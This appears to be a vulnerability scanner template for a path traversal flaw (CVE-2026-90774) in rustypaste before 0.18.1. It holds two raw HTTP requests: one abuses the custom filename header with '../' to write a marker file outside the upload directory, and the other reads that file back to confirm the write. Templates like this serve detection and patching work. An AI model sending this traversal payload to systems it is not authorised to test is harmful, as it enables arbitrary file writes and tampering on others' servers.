CVE-2026-90774: rustypaste < 0.18.1 - Filename Header Path Traversal

id: CVE-2026-90774

info:
  name: rustypaste < 0.18.1 - Filename Header Path Traversal
  author: carfeii
  severity: high
  description: |
    rustypaste before 0.18.1 contains a path traversal caused by improper validation of the custom filename HTTP header, letting attackers write files outside the upload directory.
  impact: |
    Attackers can write files to arbitrary locations, potentially leading to system compromise or data tampering.
  remediation: |
    Update to version 0.18.1 or later.
  reference:
    - https://github.com/orhun/rustypaste/issues/622
    - https://github.com/orhun/rustypaste/commit/ac05d552596af4a8429d80f30d11f67117ce02c8
    - https://github.com/orhun/rustypaste/blob/v0.18.0/src/paste.rs
    - https://nvd.nist.gov/vuln/detail/CVE-2026-90774
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-90774
    epss-score: 0.01358
    epss-percentile: 0.71866
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 2
    vendor: orhun
    product: rustypaste
    shodan-query: title:"rustypaste"
  tags: cve,cve2026,rustypaste,path-traversal,file-upload,intrusive

variables:
  marker: "{{randstr}}"
  escfile: "{{randstr}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary={{randstr}}
        filename: ../{{escfile}}.txt

        --{{randstr}}
        Content-Disposition: form-data; name="protected"; filename="{{marker}}.txt"
        Content-Type: text/plain

        {{marker}}
        --{{randstr}}--

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, escfile)'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /{{escfile}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, marker)'
          - 'contains(content_type, "text/plain")'
          - 'status_code == 200'
        condition: and
# digest: 490a0046304402204f4637b261bac6223d786e69b07419c4cdac1d4358fa61401c7a6b153c35932702206ae59e545dbc3c118096aa37fd4b9f59376b8d660e9aefd211cae6aeb42fc0f1:922c64590222798bb761d5b6d8e72950

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